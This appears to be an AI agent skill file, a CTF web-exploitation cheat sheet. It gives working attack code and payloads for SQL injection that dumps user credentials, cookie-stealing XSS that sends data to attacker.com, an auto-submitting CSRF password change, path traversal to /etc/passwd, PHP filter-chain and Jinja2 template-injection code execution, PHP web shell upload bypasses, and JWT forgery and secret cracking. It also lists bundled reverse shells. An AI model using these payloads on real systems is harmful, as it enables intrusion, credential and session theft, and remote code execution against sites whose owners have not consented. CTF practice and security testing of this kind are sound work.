| name | web-exploits |
| description | Web vulnerability testing patterns for SQL injection, XSS, CSRF, LFI, SSTI, and file upload bypasses in CTF challenges. Trigger: When testing web applications, SQL injection, XSS, or file uploads.
|
| license | MIT |
| metadata | {"author":"ctf-arsenal","version":"1.0","category":"web-exploitation"} |
Web Exploitation Patterns
When to Use
Load this skill when:
- Testing web applications for vulnerabilities
- Exploiting SQL injection, XSS, or CSRF
- Bypassing file upload restrictions
- Testing for LFI/RFI (Local/Remote File Inclusion)
- Exploiting SSTI (Server-Side Template Injection)
- Manipulating JWT tokens
- Analyzing web traffic with Burp Suite
SQL Injection
Detection and Exploitation
import requests
payloads = [
"'",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1' /*",
"admin' --",
"admin' #",
"' UNION SELECT NULL--",
]
for payload in payloads:
response = requests.post(url, data={'username': payload, 'password': 'test'})
if "error" in response.text or "mysql" in response.text.lower():
print(f"[!] Vulnerable to: {payload}")
Union-Based SQLi
for i in range(1, 20):
payload = f"' UNION SELECT {','.join(['NULL']*i)}--"
response = requests.get(f"{url}?id={payload}")
if "error" not in response.text:
print(f"[+] Number of columns: {i}")
break
payloads = [
"' UNION SELECT 1,version(),3--",
"' UNION SELECT 1,database(),3--",
"' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--",
"' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--",
"' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--",
]
Blind SQLi
import time
def time_based_sqli(url, param):
"""Check if parameter is vulnerable to time-based SQLi"""
payload = f"' AND SLEEP(5)--"
start = time.time()
response = requests.get(f"{url}?{param}={payload}")
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based SQLi confirmed on {param}")
return True
return False
def boolean_based_sqli(url):
"""Extract data character by character"""
result = ""
for i in range(1, 100):
for c in range(32, 127):
payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c}--"
response = requests.get(f"{url}?id={payload}")
if "Welcome" in response.text:
result += chr(c)
print(f"[+] Found: {result}")
break
else:
break
return result
Cross-Site Scripting (XSS)
Reflected XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
// Bypass filters
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror="alert(String.fromCharCode(88,83,83))">
<svg/onload=alert(1)>
// Extract cookies
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="location='http://attacker.com/?c='+document.cookie">
Stored XSS
import requests
xss_payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
'"><script>alert(1)</script>',
"';alert(1);//",
]
for payload in xss_payloads:
requests.post(url + "/comment", data={'text': payload})
response = requests.get(url + "/comments")
if payload in response.text:
print(f"[+] Stored XSS: {payload}")
CSRF (Cross-Site Request Forgery)
<html>
<body>
<form action="https://target.com/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
import requests
session = requests.Session()
session.post(url + "/login", data={'user': 'admin', 'pass': 'admin'})
response = session.post(url + "/delete_user", data={'id': '1'})
if response.status_code == 200:
print("[!] No CSRF protection!")
Local File Inclusion (LFI)
Path Traversal
lfi_payloads = [
"../../../../../etc/passwd",
"....//....//....//....//etc/passwd",
"..%2F..%2F..%2F..%2Fetc%2Fpasswd",
"....\/....\/....\/....\/etc\/passwd",
"/etc/passwd",
"php://filter/convert.base64-encode/resource=index.php",
"expect://whoami",
"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7",
]
for payload in lfi_payloads:
response = requests.get(f"{url}?page={payload}")
if "root:" in response.text or "<?php" in response.text:
print(f"[+] LFI found: {payload}")
PHP Filter Chain (RCE)
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
filter_chain += "convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|"
filter_chain += "resource=data://,<?php system($_GET['cmd']); ?>"
response = requests.get(f"{url}?page={filter_chain}&cmd=whoami")
Server-Side Template Injection (SSTI)
Detection
ssti_tests = {
'Jinja2': "{{7*7}}",
'Twig': "{{7*7}}",
'ERB': "<%= 7*7 %>",
'Smarty': "{7*7}",
'Velocity': "#set($x=7*7)$x",
}
for engine, payload in ssti_tests.items():
response = requests.get(f"{url}?name={payload}")
if "49" in response.text:
print(f"[+] {engine} SSTI detected!")
Jinja2 Exploitation
payload = "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}"
payload = "{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.sh', 'w').write('#!/bin/bash\\nid') }}"
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
File Upload Bypass
Extension Bypass
extensions = [
'php', 'php3', 'php4', 'php5', 'phtml', 'pht',
'php.jpg', 'php.png', 'php;.jpg',
'php%00.jpg',
]
for ext in extensions:
filename = f"shell.{ext}"
files = {'file': (filename, "<?php system($_GET['cmd']); ?>", 'application/x-php')}
response = requests.post(url + "/upload", files=files)
if response.status_code == 200:
print(f"[+] Uploaded: {filename}")
Content-Type Bypass
content_types = [
'image/jpeg',
'image/png',
'image/gif',
'application/octet-stream',
]
for ctype in content_types:
files = {'file': ('shell.php', "<?php system($_GET['cmd']); ?>", ctype)}
response = requests.post(url + "/upload", files=files)
Magic Bytes Bypass
content = b"GIF89a" + b"<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.php', content, 'image/gif')}
response = requests.post(url + "/upload", files=files)
JWT Token Manipulation
import jwt
import base64
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
header = base64.b64encode(b'{"typ":"JWT","alg":"none"}').strip(b'=')
payload = base64.b64encode(b'{"user":"admin"}').strip(b'=')
forged_token = header + b'.' + payload + b'.'
import hashlib
with open('wordlists/common.txt') as f:
for secret in f:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] Found secret: {secret}")
break
except:
continue
Quick Reference
| Vulnerability | Detection Pattern | Exploitation |
|---|
| SQL Injection | ', ' OR 1=1-- | ' UNION SELECT ... |
| XSS | <script>alert(1)</script> | Cookie stealing, session hijacking |
| LFI | ../../../etc/passwd | Read sensitive files, RCE via log poisoning |
| SSTI | {{7*7}}, ${7*7} | RCE via template engine |
| File Upload | Upload .php, .phtml | Web shell execution |
| CSRF | No token validation | Force user actions |
| JWT | alg: none, weak secret | Privilege escalation |
Bundled Resources
Scripts
scripts/csrf_grabber.py - Extract CSRF tokens automaticallyscripts/jwt_tamper.py - JWT token manipulation toolscripts/lfi_tester.py - Automated LFI testingscripts/ssti_tester.py - SSTI detection and exploitationscripts/upload_tester.py - File upload bypass testing
Payloads
payloads/sqli_basic.txt - Basic SQL injection payloadspayloads/sqli_mysql.txt - MySQL-specific payloadspayloads/xss_reflected.txt - XSS test vectorspayloads/ssti_jinja2.txt - Jinja2 SSTI payloadspayloads/cmd_injection.txt - Command injection patternspayloads/lfi.txt - LFI/path traversal payloadspayloads/ssrf.txt - SSRF test URLspayloads/file_upload_bypass.txt - Extension bypass techniques
Webshells
webshells/php_reverse.php - PHP reverse shellwebshells/aspx_cmd.aspx - ASPX command shellwebshells/jsp_cmd.jsp - JSP command shellwebshells/node_cmd.js - Node.js shell
Templates
templates/web_requests.py - Python requests template with session handling
Wordlists
wordlists/ - Common username/password lists (from SecLists)
Keywords
web exploitation, SQL injection, SQLi, XSS, cross-site scripting, CSRF, LFI, RFI, local file inclusion, SSTI, template injection, file upload, webshell, JWT, JSON web token, command injection, path traversal, directory traversal, web security, OWASP, burp suite, requests, beautifulsoup
